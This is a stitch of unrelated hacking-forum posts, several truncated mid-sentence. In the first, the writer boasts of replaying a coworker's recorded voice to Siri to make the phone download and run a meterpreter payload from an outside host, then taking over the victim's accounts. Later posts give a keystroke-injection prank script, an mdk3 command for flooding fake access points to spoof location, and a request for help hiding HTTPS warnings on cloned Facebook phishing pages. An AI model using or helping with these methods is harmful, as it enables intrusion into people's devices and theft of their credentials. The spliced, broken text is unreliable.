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This was about a month ago. I notice all the guys I work with have iPhones and constantly use siri. So I turned on my microphone recorder. And record my friends voice when he ask siri a question. Bingo. Lol I now have his keys to his phone... A quick test. I played the voice I recorded 'Hey siri.mp3" Then I spoke the first command that come to mind. "Download a file from bigmac dot com/meterpreter and execute" And boom. I was given a meterpreter shell And all his porn accounts now belong to me ;-)
Hi there, I'm new here and I wanted to share a basic script that i wrote. It just opens up your webbrowser and navigates to the site http://fakeupdate.net/. On this site you can find many fake installtion videos, in this case i'm using the Windows 98 one. This script is just a basic one, for other beginners like me... Here's the code: REM FakeUpdate v.1.0 REM This basic Script just opens the website fakeupdate.net, where you can find videos of os installtions... REM Author: fachsimpeln WINDOWS d DELAY 500 WINDOWS r DELAY 500 STRING http://www.fakeupdate.net/windows98/index.h
Hi all, I am working on a project that spoofs the geolocation of devices by faking MAC addresses from another place through wifi signals (somewhat similar to this). I have a Raspberry B+, connected to an Alfa AWUS036NH running in monitor mode, connected through ETHERNET with an MBP sharing Internet connection. I am currently able to use Aircrack + mdk3 to create multiple (encrypted) AP within a list of fake MAC addresses, using: sudo mdk3 wlan0mon b -v LIST.txt -g -t And this works perfectly. However I also want, at the same time, to use the same wireless adapter to create an A
hiii i have make some fake pages for known pages like Facebook etc i have also install dnsmasq in Kali and setup Apache server and every thing is okay now when the victim visit Facebook in chrome for example it will told him that this is unsecured cuz of https is there any way or tools in Kali to avoid that or any other thing would be greet thanks :)